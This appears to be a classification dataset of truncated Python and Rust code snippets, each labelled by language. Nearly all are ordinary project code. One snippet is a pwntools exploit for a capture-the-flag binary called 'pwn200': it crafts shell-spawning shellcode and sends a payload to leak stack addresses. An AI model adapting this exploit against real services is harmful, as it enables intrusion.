text
string
label_name
string
labels
int64
import modbus_rt import modbus_rt_defines as cst serial_name = "uart4" ip_addr = "" rm = modbus_rt.rtu(cst.MASTER) rm.set_serial(serial_name) rm.open() ts = modbus_rt.tcp() ts.set_net(ip_addr, 502, cst.SOCK_STREAM) def pre_call(evt) : slave = evt.slave function = evt.function addr = evt.addr quantity ...
Python
1
self.borrow().probability(state, a) } } impl<S, T: EnumerablePolicy<S>> EnumerablePolicy<S> for Shared<T> { fn n_actions(&self) -> usize { self.borrow().n_actions() } fn probabilities(&self, state: &S) -> Vec<f64> { self.borrow().probabilities(state) } } impl<S, T: DifferentiablePolicy<S>> Diffe...
Rust
0
# 负责 pynput 的按键转换 # 封装 keyTranslator ,负责key、char、vk的转换 from pynput._util.win32 import KeyTranslator from umi_log import logger # ==================== 按键转换器 ==================== # 封装 keyTranslator ,负责key、char、vk的转换 class _KeyTranslatorApi: def __init__(self): self._kt = KeyTranslator() self._layo...
Python
1
ed_facts_df.withColumn("product_id", F.col("product_id").cast(T.StringType())) # Read dim_products table dim_products_df = spark.read.table(f"glue_catalog.{output_database}.{dim_products_table_name}") # Join with dim_products to get product_name and calculate sales_amount final_fact_sales_df = unioned_facts_df.alias(...
Python
1
})) as *mut c_void } #[no_mangle] /// Creates a copy of the Invoice pub extern "C" fn Invoice_clone(orig: &Invoice) -> Invoice { orig.clone() } use lightning_invoice::SignedRawInvoice as nativeSignedRawInvoiceImport; pub(crate) type nativeSignedRawInvoice = nativeSignedRawInvoiceImport; /// Represents a signed `Raw...
Rust
0
NECTING: WMT_STATUS = 28i32; #[doc = "*Required features: `\"Win32_Media_WindowsMediaFormat\"`*"] pub const WMT_BACKUPRESTORE_DISCONNECTING: WMT_STATUS = 29i32; #[doc = "*Required features: `\"Win32_Media_WindowsMediaFormat\"`*"] pub const WMT_ERROR_WITHURL: WMT_STATUS = 30i32; #[doc = "*Required features: `\"Win32_Med...
Rust
0
ed; /// The basic amount of funds that must be reserved for an order. #[pallet::constant] type AuctionDeposit: Get<BalanceOf<Self, I>>; /// The amount of auction fee as tax #[pallet::constant] type AuctionFeeTaxRatio: Get<Perbill>; /// Minimum deadline of auction #[pallet::constant] type MinDeadline: ...
Rust
0
(params.text), params.variables) { Ok(data) => dbg!(data), Err(error) => dbg!(error), }; Ok(()) } <reponame>timboldt/rusty-two-wheel // Copyright 2019 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with t...
Rust
0
from django.contrib import admin from blog.models import Blogpost # Register your models here. @admin.register(Blogpost) class AdminBlogpost(admin.ModelAdmin): list_display = ( 'title', 'content', 'preview', 'views_count', 'date_create', 'is_published', )
Python
1
logger.set_dimensions({dimension_key: dimension_value}) # act await logger.flush() context = sink.accept.call_args[0][0] dimensions = context.get_dimensions() assert len(dimensions) == 1 assert dimensions[0][dimension_key] == dimension_value await logger.flush() context = sink.accep...
Python
1
# time_input_widget.py from PyQt5.QtWidgets import QWidget, QHBoxLayout, QLabel, QSpinBox class TimeInputWidget(QWidget): def __init__(self, parent=None): super().__init__(parent) # 创建控件 self.days_spinbox = QSpinBox() self.days_spinbox.setRange(0, 365) self.days_spinbox.s...
Python
1
_flat.reshape((b, oc, o0, o1, o2)) # circular! # Now we extract the region of interest. # We just cut it out from the output_circ # array that was used for the computation. # We do not need to handle pad_last_dim in a # special way because we specify explicitly here # how much values are expec...
Python
1
= source_entry.get_mut(); source_space.pieces.remove(piece_index) } else { None }; if let Some(piece) = possible_piece { if let Occupied(mut target_entry) = board.entry(to) { let mut target_space = target_entry.get_mut(); //shpuld this be an insert at 0 ...
Rust
0
ments for RPC parser.add_argument("--scanner-host", help="Host running the scanner service (optional)") parser.add_argument("--scanner-port", type=int, default=18861, help="Port of the scanner service") args = parser.parse_args() source_dir = args.source_dir dest_dir = args.dest_dir timeout = a...
Python
1
from django.contrib import admin from .models import Usuario @admin.register(Usuario) class UsuarioAdmin(admin.ModelAdmin): list_display = ['username', 'email', 'first_name', 'last_name', 'telefono_personal', 'tipo_usuario'] search_fields = ['username', 'email', 'first_name', 'last_name'] list_filter = ['t...
Python
1
#!/usr/bin/env python3 """ Advanced EAT agent demonstrating multi-tool workflows with error handling. This example shows how to chain multiple tools together for complex tasks. """ import asyncio import sys import os from typing import List, Dict, Any # Add parent directory to path for imports sys.path.insert(0, os.p...
Python
1
, 0x73, 0x62,// scasb 0x05, 0x73, 0x63, 0x61, 0x73, 0x77,// scasw 0x05, 0x73, 0x63, 0x61, 0x73, 0x64,// scasd 0x05, 0x73, 0x63, 0x61, 0x73, 0x71,// scasq 0x04, 0x72, 0x65, 0x74, 0x77,// retw 0x04, 0x72, 0x65, 0x74, 0x64,// retd 0x04, 0x72, 0x65, 0x74, 0x6C,// retl 0x05, 0x72, 0x65, 0x74, 0x6E, 0x64,// retnd 0x0...
Rust
0
import polars as pl def test_rolling_var_stability_12905() -> None: s1 = pl.Series("a", [36743.6 for _ in range(10)]) assert s1.rolling_var(window_size=12, min_samples=2).sum() == 0.0 assert s1.rolling_std(window_size=12, min_samples=2).sum() == 0.0
Python
1
#!/usr/bin/env python # -*- coding: utf-8 -*- __author__ = 'leohuang' __date__ = '2016/3/2' __version__ = '0.1-dev' import urllib import rsa import re import binascii import hashlib import base64 import requests from pprint import pprint import tea class QQ_Login: """ QQ用户名密码登陆:2016.3.2 涉及算法:TX_TEA算法,RSA算...
Python
1
for line in read_file: [str_order, hanzi, pinyin, patterns] = line.rstrip("\n").split(", ") order = int(str_order) # self.PATTERN_ONE_TXT の order = 1 は標準的なピンインなので無視する if 1 == order: continue # 2 から異読のピンイン。添字に使うため...
Python
1
# Importing necessary libraries import numpy as np import matplotlib.pyplot as plt from NACA import * # NACA 0012 and 4412 data (Assumed to be loaded correctly as per the user's request) # Function to plot airfoil shape def plot_airfoil(naca, title): plt.figure(figsize=(10, 6)) plt.plot(naca["x"], naca["y"],...
Python
1
from pwn import * io = remote('0.0.0.0', 10001) #io = process('./pwn200') shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64') def leak(): global fake_addr global shellcode_addr payload = shellcode.rjust(48, 'A') io.sendafter("who are u?\n", payload) io.recvuntil(payload) rbp_addr = u64(io.recvn(6).l...
Python
1
import pygame import sys import random W = 300 H = 800 car = pygame.image.load("sprites/unnamed.png") car = pygame.transform.scale(car, (100, 100)) score = 0 enemy = pygame.image.load("sprites/938z8l9w2ho51.png.webp") sprite_img = pygame.transform.scale(enemy, (100, 100)) sprite_size = sprite_img.get_rect().size ...
Python
1
# Generated by Django 4.2.15 on 2025-02-04 21:15 from django.db import migrations, models from kobo.apps.stripe.utils.subscription_limits import get_default_add_on_limits class Migration(migrations.Migration): dependencies = [ ('stripe', '0001_initial'), ] operations = [ migrations.Remo...
Python
1
e = 1, epochs = 100, shuffle = True, callbacks = [early_stopper]) Y_pred_test = predict_by_batching(model, input_tensor_idx = X_test_idx, batch_size = 1000, X = X, windowSize = windowSize) y_pred_test = np.argmax(Y_pred_test, axis=1) ...
Python
1
# Um armazém trabalha com um determinado número de mercadorias diferentes (um # máximo de 100 itens). Faça um programa que leia e armazene em vetores os preços # de cada mercadoria e a quantidade vendida no mês e, além disso, calcule e imprima: # a. O faturamento mensal do armazém. # b. A mercadoria mais vendida e a me...
Python
1
g>Success Rate</strong>: {report['success_rate']:.1f}%</li>") html.append(f"<li><strong>Execution Time</strong>: {report['execution_time']:.2f}s</li>") html.append("</ul>") html.append("<h2>Test Results</h2>") for result in report['results']: status_class = "success" if result['success'] el...
Python
1
from django.conf import settings from ninja import NinjaAPI import redis.asyncio as redis from enrollments.cache_services import can_enroll_cache, enroll_to_course_cache from enrollments.schemas import CourseEnrollmentOut, CourseEnrollmentIn from enrollments.services import can_enroll_db, enroll_to_course_db api = Ni...
Python
1
() # Simulate some data for i in range(100): message = StreamMessage( id=str(uuid.uuid4()), timestamp=datetime.now(), source="demo_sensor", data_type="sensor_data", payload={ 'sensor_id': f'sensor_{i % 10}', ...
Python
1
efault() -> Self { LatexFontSize::TwelvePt } } static PACKAGES_WITHOUT_OPTIONS: [&str; 19] = [ "amsmath", "amssymb", "bookmark", "booktabs", "etoolbox", "fancyhdr", "fancyvrb", "footnotehyper", "listings", "longtable", "unicode-math", "upquote", "xcolor",...
Rust
0
reflow(&char_vec("reu\nreu"), 8, |&c| c == ' ', |&c| c == '\n'), vec![char_vec("reu\n"), char_vec("reu")] ) } #[test] fn clipping() { assert_eq!( reflow(&char_vec("reuben"), 5, |&c| c == ' ', |&c| c == '\n'), vec![char_vec("reube"), char_vec("n")] ...
Rust
0
# -*- coding: utf-8 -*- # @Time : 2024/3/5 9:46 # @Author : chenlelan # @File : Generate_graph.py import networkx as nx import pandas as pd from matplotlib import pyplot as plt from collections import namedtuple import os import numpy as np from utils.preprocess import features_standard def creat_graphs(node_f...
Python
1
"""Change properties on foreign key constraints. Revision ID: 2d46c89138b0 Revises: 1217e5fbdbd9 Create Date: 2015-05-14 16:53:00.073652 """ # revision identifiers, used by Alembic. revision = '2d46c89138b0' down_revision = '1217e5fbdbd9' branch_labels = None depends_on = None from alembic import op import sqlalche...
Python
1
positionMeta; pub fn gst_video_overlay_get_type() -> GType; pub fn gst_video_overlay_set_render_rectangle(overlay: *mut GstVideoOverlay, x: gint, y: gint, wid...
Rust
0
), 256); // // Check the balance of the stash account // assert_eq!(Ring::free_balance(&11), 256000); // // Check these two accounts are bonded // assert_eq!(Staking::bonded(&11), Some(10)); // // // Set some storage items which we expect to be cleaned up // // Set payee information // assert_ok!(Staking:...
Rust
0
ptr::null::<_NV_ENC_ENCODE_OUT_PARAMS>())).bitstreamSizeInBytes as *const _ as usize }, 4usize, concat!( "Offset of field: ", stringify!(_NV_ENC_ENCODE_OUT_PARAMS), "::", stringify!(bitstreamSizeInBytes) ) ); assert_...
Rust
0
min=0, max=40, default=1, ) clean_angle = FloatProperty( name="Highlight Angle", description="Less than 90 limits the angle used in the tonal range", min=0.0, max=pi, default=pi, unit="ROTATION", ) dirt_angle...
Python
1
p(10) return check_situation("DEGRADED") elif elapsed_hour >= 57 and elapsed_hour <= 59: return check_situation("DEGRADED") elif elapsed_hour == 60: ret = add_spare(DEV_3_RECYCLED) time.sleep(10) if ret == True: return check_situation("REBUILDING") r...
Python
1
nto one final answer. """ combined_answers = "\n".join([a for (a, s) in partial_answers]) system_prompt = ( "You are a query-focused summarizer. " "Combine the partial answers below into a single, coherent final answer to the query." ) user_prompt = f"QUER...
Python
1
on: bool, ) { let request: &mut Request = request.into(); *request.follow_redirection_mut() = follow_redirection; let _ = qiniu_ng_http_request_t::from(request); } /// @brief 以字符串列表的形式获取 HTTP 请求预解析的套接字地址列表(套接字地址即 IP 地址:端口号) /// @param[in] request HTTP 请求实例 /// @retval qiniu_ng_str_list_t 返回包含预解析的套接字地址的字符串列...
Rust
0
ionality of the SQL repl use influxdb_iox_client::connection::Connection; use snafu::{ResultExt, Snafu}; use std::{collections::HashMap, sync::Arc, time::Instant}; use arrow::{ array::{Array, ArrayRef, StringArray}, datatypes::{Field, Schema}, record_batch::RecordBatch, }; use datafusion::{ datasourc...
Rust
0
> 0 && ((month == 2 && (day <= 28 || day == 29 && is_leap_year(year))) || (month != 2 && (day <= 30 || day == 31 && MONTH_WITH_31_DAYS.contains(&month)))); } #[cfg(test)] mod tests; <filename>tests/bezier/intersection.rs<gh_stars>10-100 use flo_curves::*; use flo_curves::bezier; use flo_curves::li...
Rust
0
OwnerDisplay => Some(Palette), Palette => Some(PenData), PenData => Some(PrivateFirst), PrivateFirst => Some(PrivateLast), PrivateLast => Some(Riff), Riff => Some(Sylk), Sylk => Some(Text), Text => Some(Tiff), Ti...
Rust
0
import json import random from datetime import datetime from zoneinfo import ZoneInfo from fastapi import FastAPI, HTTPException, status from fastapi.responses import JSONResponse from stub_server.models import AuthModel app = FastAPI() tz = ZoneInfo("Asia/Yekaterinburg") def spin(chance: int) -> bool: r = ran...
Python
1
def IsActive(self): """Define tool button activation situation""" return True def Activated(self): """Command activation method""" terrain = FreeCADGui.Selection.getSelection()[0] Part.show(terrain.Boundary) class TerrainExtractContours: """Command to extract Contou...
Python
1
dyn Error>> { let url = Url::parse_with_params( &self.list_voices_endpoint_url, &[("key", &self.api_key), ("languageCode", &language_code)], )?; let res: ListVoicesResponse = self.https_client.get(url).send().await?.json().await?; Ok(res) } } #[cfg(test)] mod...
Rust
0
rm(lb, ub, (10 * batch_size, n)) while tag not in [STOP_TAG, PERSIS_STOP]: if x_new.shape[0] == 0: x_new = rng.uniform(lb, ub, (batch_size, n)) else: if not U.get("use_grid"): x_for_var = rng.uniform(lb, ub, (10 * batch_size, n)) x_new = x_for...
Python
1
) -> &'a mut W { self.variant(WKPEN_A::CONST_0) } #[doc = "Wake-up event enabled"] #[inline(always)] pub fn const_1(self) -> &'a mut W { self.variant(WKPEN_A::CONST_1) } #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(...
Rust
0
#!/usr/bin/env python # tokenize latex formulas import sys, os, argparse, logging, subprocess, shutil def is_ascii(str): try: str.decode('ascii') return True except UnicodeError: return False def process_args(args): parser = argparse.ArgumentParser(description='Preprocess (tokenize...
Python
1
#!/usr/bin/env python3 """ Demo script for safetensors-based layer sharding. This approach processes safetensors files directly without loading the entire model into memory. """ import sys import os sys.path.append(os.path.join(os.path.dirname(__file__), "..")) from src.utils.sharding_utils import ( shard_model_...
Python
1
import rispy EXAMPLE_RECORD = """ 42. TY - JOUR ID - 12345 T1 - The title of the reference A1 - Marxus, Karlus A1 - Lindgren, Astrid A2 - Glattauer, Daniel Y1 - 2006// N2 - BACKGROUND: Lorem dammed ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis na...
Python
1
evice_id: u32, protocol_id: u32, flags: u32, baudrate: u32, channel_id: *mut u32, ) -> i32; pub type PassThruDisconnectFn = unsafe extern "stdcall" fn(channel_id: u32) -> i32; pub type PassThruReadMsgsFn = unsafe extern "stdcall" fn( channel_id: u32, msgs: *mut PassThruMsg, num_msgs: *mut u3...
Rust
0
log::debug!("Enter {} service inner loop", sp.name()); let tm = time::Instant::now(); if let Err(err) = callback(sp.clone()) { log::error!("Error of {} service: {}", sp.name(), err); if tm.elapsed() > time::Duration::from_millis(...
Rust
0
"pancreatitis", ]: avg, n = calculate_average(all_evals[patho], field, patho) avg_scores[field][patho] = avg avg_samples[field][patho] = n model_scores[model] = avg_scores if difficulty == "first_diag" or difficulty == "dr_eval": ...
Python
1
import aiohttp url = "https://owobot.com/api/status" def get_max_shards(json_data): max_shard = 0 for item in json_data: if "shards" in item: shard_data = item["shards"] max_shard_in_item = max(shard["shard"] for shard in shard_data) if max_shard_in_item > max_shar...
Python
1
sts.append(inc_tot) else: lddt,inc_tot=getAtomlDDT(pdbdf1,pdbdf2,atomnum,atomnum2) lddt_scores.append(lddt) tot_dists.append(inc_tot) return np.array(lddt_scores).mean(),np.array(tot_dists).sum()*4 def getAtomlDDT(pdbdf1,pdbdf2,atomnum1,atomnum2,tolerances=[0.5,1.0,2.0,4...
Python
1
のみで構成されているかの判定 pub fn is_sets(tr: &TileRow, ti: Type) -> bool { let (mut n0, mut n1, mut n2); n0 = tr[1]; n1 = tr[2]; for i in 1..8 { n2 = tr[i + 2]; let n = n0 % 3; if ti == TZ && n != 0 { return false; } else if n1 < n || n2 < n { return false; ...
Rust
0
from .. import C from .tree_drafter import LLM_with_tree_drafter import torch from transformers import PretrainedConfig class EagleConfig(PretrainedConfig): def __init__( self, num_hidden_layers=1, **kwargs, ): super().__init__(**kwargs) self.eagle_num_layers = num_hidd...
Python
1
def say_hi(): print('Привет я из функции во втором модуле') def main(): a = 5 b = 10 print('Привет') if __name__ == '__main__': main()
Python
1
BLUESTSDK_SERVICE_UUID: for listener in self._listeners: # Calling user-defined callback. self._thread_pool.submit(listener.on_stdin_send( self, data_str[0:self._MAXIMUM_MESSAGE_SIZE_BYTES], s...
Python
1
wrapping_add(1); match cpu.address_bus.read(absolute_sp(cpu)) { Ok(hi) => { cpu.r.pc |= (hi as u16) << 8; cpu.r.pc += 1; } Err(e) => panic!("addressing error {}", e), } } Err(e) => panic!("add...
Rust
0
#[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)]...
Rust
0
; assert_eq!(links.len(), 1); assert_eq!(links[0], "https://sample.org"); } }<gh_stars>0 pub trait ProvidePosition<I> { type Position; fn position(&self) -> Self::Position; fn shift(&mut self, s: I); } pub trait BackTrack { fn save(&mut self); fn backtrack(&mut self); } impl<I>...
Rust
0
from propTypes.book.class_book import Book def set_id(book: Book, last_id: int) -> Book: book.id = last_id + 1 return book
Python
1
from .magics import run def main(): run(None, None) if __name__ == "__main__": main()
Python
1
/// [`LeakyCategorical::from_floating_point_probabilities`]( /// models/struct.LeakyCategorical.html#method.from_floating_point_probabilities). ImpossibleSymbol, } impl Display for DefaultEncoderFrontendError { fn fmt(&self, f: &mut core::fmt::Formatter<'_>) -> core::fmt::Result { match self { ...
Rust
0
# ckwg +28 # Copyright 2012-2016 by Kitware, Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of co...
Python
1
pe(np.float16), input_observation_space.shape, np.float16, ) def __call__(self, *, rl_module, batch, episodes, **kwargs): for sa_episode in self.single_agent_episode_iterator(episodes): obs = sa_episode.get_observations(-1) float16_obs = obs.astype(np...
Python
1
c-link-lib=static=crypto"); } } cc.include("grpc/include"); } fn figure_ssl_path(build_dir: &str) { let path = format!("{}/CMakeCache.txt", build_dir); let f = BufReader::new(std::fs::File::open(&path).unwrap()); let mut cnt = 0; for l in f.lines() { let l = l.unwrap(); ...
Rust
0
, &req), None => err.into(), } } #[cfg(test)] mod tests { use actix_web::test::{block_on, TestRequest}; use actix_web::FromRequest; use serde::Deserialize; use super::Query; #[derive(Deserialize, Debug, PartialEq)] struct Info { hello: String, world: NestedInfo, ...
Rust
0
count: DamlInt64, //! # } //! let ping = Ping::new("Alice", "Bob", 0); //! ``` //! //! To create an instance of the `Ping` template on a Daml ledger a [`DamlCreateCommand`] specific to our `ping` data //! needs to be constructed. This can be done as follows: //! //! ```no_run //! # use daml::prelude::*; //! # #[DamlT...
Rust
0
import cv2 import time # Create a VideoCapture object cap = cv2.VideoCapture(0) # Check if camera opened successfully if not cap.isOpened(): print("Unable to read camera feed") frame_id = 0 while True: # Capture frame-by-frame ret, frame = cap.read() if ret: # Save the resulting frame ...
Python
1
'\u{7a}', // \u{a762} -> z '\u{7a}', // \u{a763} -> z '\u{a765}', // \u{a764} -> ꝥ '\u{a765}', '\u{a767}', // \u{a766} -> ꝧ '\u{a767}', '\u{a769}', // \u{a768} -> ꝩ '\u{a769}', '\u{a76b}', // \u{a76a} -> ꝫ '\u{a76b}', '\u{a76d}', // \u{a76c} -> ꝭ '\u{a76d}', '\u{a76f}', // \u{a76e} -> ꝯ '\u{a76f}', '\u{...
Rust
0
(feature = "v3_20", feature = "dox"))] pub fn gtk_widget_path_iter_set_object_name(path: *mut GtkWidgetPath, pos: c_int, name: *const c_char); pub fn gtk_widget_path_iter_set_object_type(path: *mut GtkWidgetPath, pos: c_int, type_: GType); #[cfg(any(feature = "v3_14", feature = "dox"))] pub fn gtk_widge...
Rust
0
import unittest from sglang.backend.runtime_endpoint import RuntimeEndpoint import sglang as sgl class TestBind(unittest.TestCase): backend = None def setUp(self): cls = type(self) if cls.backend is None: cls.backend = RuntimeEndpoint(base_url="http://localhost:30000") def...
Python
1
open_pen: 100, } ), Ok(Alignment { query_aligned: "XX".to_string(), text_aligned: "YY".to_string(), score: 2, }) ); assert_eq!( wavefront_align( "XX", ...
Rust
0
Jump('loc_3B49') def _loc_37D7(): pass label('loc_37D7') If( ( (Expr.TestScenaFlags, ScenaFlag(0x0083, 3, 0x41B)), Expr.Return, ), 'loc_392E', ) If( ( (Expr.TestScenaFlags, ScenaFlag(0x0000, 6, 0x6)), Expr.Ez, ...
Python
1
with open(file, "rb") as f: transitions = pkl.load(f) for transition in transitions: replay_buffer.insert(transition) print( f"Loaded previous buffer data. Replay buffer size: {len(replay_buffer)}" ) if FLAGS.checkpoint_path is ...
Python
1
/// Implemented for `u8`, `u16`, `u32`, `i8`, `i16`, `i32`, `f32`, `bool`, and [`GLSLInt`]-wrapped /// integers. /// /// [`GLSLInt`]: ./struct.GLSLInt.html pub unsafe trait Scalar<N: Normalization>: ScalarBase { type ScalarType: ScalarType; const NORMALIZED: bool = N::NORMALIZED; } /// Marker trait that indica...
Rust
0
ING_EXTENSIONS | Cr4::CR4_ENABLE_MACHINE_CHECK; cr4_write(new_cr4); if !new_cr4.contains(old_cr4) { warn!("UEFI has too many CR4 features enabled, so we disabled some: new cr4 {:?}, uefi cr4 was = {:?}", new_cr4, old_cr4); } debug!("Switched to new page-table.");...
Rust
0
# The MIT License (MIT) # # Copyright (c) 2017 Scott Shawcroft for Adafruit Industries # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the ...
Python
1
the SQL command cursor.execute(delete_query) # Commit the changes to save the deletion connection.commit() print(f'{playlist_name} is deleted from the database.') print('Disconnected from playlists.db (delete) \n') ...
Python
1
er::with_splitter(8, NoHyphenation); /// assert_eq!(wrapper.wrap("foo bar-baz"), vec!["foo", "bar-baz"]); /// ``` /// /// [`Wrapper.splitter`]: struct.Wrapper.html#structfield.splitter #[derive(Clone, Debug)] pub struct NoHyphenation; /// `NoHyphenation` implements `WordSplitter` by not splitting the /// word at all. ...
Rust
0
.fuse(); let log = slog::Logger::root(drain, o!("application" => application)); let this = Self { _scope_guard: slog_scope::set_global_logger(log), _log_guard: slog_stdlog::init().unwrap(), }; ...
Rust
0
match &**decl { Decl::FnDecl(fn_decl) => { let idx = compiler.scope.current_mut().set_symbol( fn_decl.name.0.clone(), fn_decl.to_type(), ); let wasm_type_param...
Rust
0
not enough data"] #[doc = " received, PROPERTY_LIST_SERVICE_E_RECEIVE_TIMEOUT when the connection times out,"] #[doc = " PROPERTY_LIST_SERVICE_E_PLIST_ERROR when the received data cannot be"] #[doc = " converted to a plist, PROPERTY_LIST_SERVICE_E_MUX_ERROR when a"] #[doc = " commun...
Rust
0
parameters #[serde(flatten)] pub custom_params: T, } // general parameters in response, encapsuled in ServerRawResponse #[derive(Serialize, Deserialize, Debug)] #[serde(rename_all = "PascalCase")] pub struct GeneralResponse<T> { // request id is always required request_id: String, // error is not ...
Rust
0
: CaptureManager | None, formatter: Formatter, level: int, start: float | None, ) -> None: self._reporter = reporter self._capture_manager = capture_manager self._formatter = formatter self._level = level self._start = start def __call__(self, msg...
Python
1
from django.contrib import admin from shop.models import Category, Product, Commande # Register your models here. #custom admin side admin.site.site_header = "ECOMMERCE" admin.site.site_title = "SHOP" admin.site.index_title = "Manager" class AdminProduct(admin.ModelAdmin): list_display = ('title', 'category', 'pri...
Python
1
# coding=utf-8 import logging import pickle from functools import wraps import redis from webspider import setting redis_pool = redis.ConnectionPool(host=setting.REDIS_CONF['host'], port=setting.REDIS_CONF['port']) redis_instance = redis.Redis(connection_pool=redis_pool) def simpl...
Python
1
::Depth24Stencil8 => { if params.sampler { gl::FramebufferTexture2D( gl::FRAMEBUFFER, gl::DEPTH_STENCIL_ATTACHMENT, gl::TEXTURE_2D, id, 0, ); ...
Rust
0
import time from urllib.parse import urlparse, urljoin import string import random import os,sys def current_time(): current_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())) return current_time def write_log(logstr): timestr = current_time() logmsg = f"[{str(timestr)}]: {str(logst...
Python
1
rr(method='pearson') user = pd.DataFrame(list(Myrating.objects.filter(user=request.user).values())).drop(['user_id','id'],axis=1) user_filtered = [tuple(x) for x in user.values] movie_id_watched = [each[0] for each in user_filtered] similar_movies = pd.DataFrame() for movie,rating in user_filtered...
Python
1
import re from typing import Dict, Any, List, Optional, Iterable from langchain.base_language import BaseLanguageModel from langchain.chains.base import Chain from langchain.chains.llm import LLMChain from langchain.prompts import BasePromptTemplate, PromptTemplate from langchain.callbacks.manager import CallbackManage...
Python
1
rce_addr: Ipv4Addr, dest_addr: Ipv4Addr, source_port: u16, dest_port: u16, } impl PartialEq for TCPSessionIdentifier { /// It's the same session if 4 tuple is same/opposite. fn eq(&self, other: &TCPSessionIdentifier) -> bool { self.source_addr == other.source_addr && self.dest_a...
Rust
0
, value: bool) -> &'a mut W { self.w.bits = (self.w.bits & !0x01) | (value as u32 & 0x01); self.w } } impl R { #[doc = "Bit 8 - If set, leapyear is forced off. Useful for years divisible by 100 but not by 400"] #[inline(always)] pub fn force_notleapyear(&self) -> FORCE_NOTLEAPYEAR_R { ...
Rust
0
expected_sum = int(input()) payment = 0 card_sum = 0 cash_sum = 0 total_sum = 0 people_card = 0 people_cash = 0 while total_sum < expected_sum: command = input() if command == "End": print(f"Failed to collect required money for charity.") break money = int(command) payment += 1 ...
Python
1
) print("2. guardar nuevo contacto") print("3. actualizar contacto") print("4. eliminar contacto") print("5. salir") opciones = input("\nPor favor selecciona cual operacion deseas realizar: ") match opciones: case "1": nombre = input(f"Ingresa el nombre del contacto. ") i...
Python
1
# SPDX-FileCopyrightText: 2022-present deepset GmbH <info@deepset.ai> # # SPDX-License-Identifier: Apache-2.0 import pytest from haystack.components.builders.chat_prompt_builder import ChatPromptBuilder from haystack.components.converters import OutputAdapter from haystack.components.joiners import StringJoiner from ...
Python
1
f()) .filter(|&x| !x.is_empty()) .map(|x| x.to_string()) .collect(); println!("bingo {:#?}", zz); */ self.board = line .split_terminator([',', ' ', '\r', '\n'].as_ref()) .filter(|&x| !x.is_empty()) .map(|x| x.to_string().pa...
Rust
0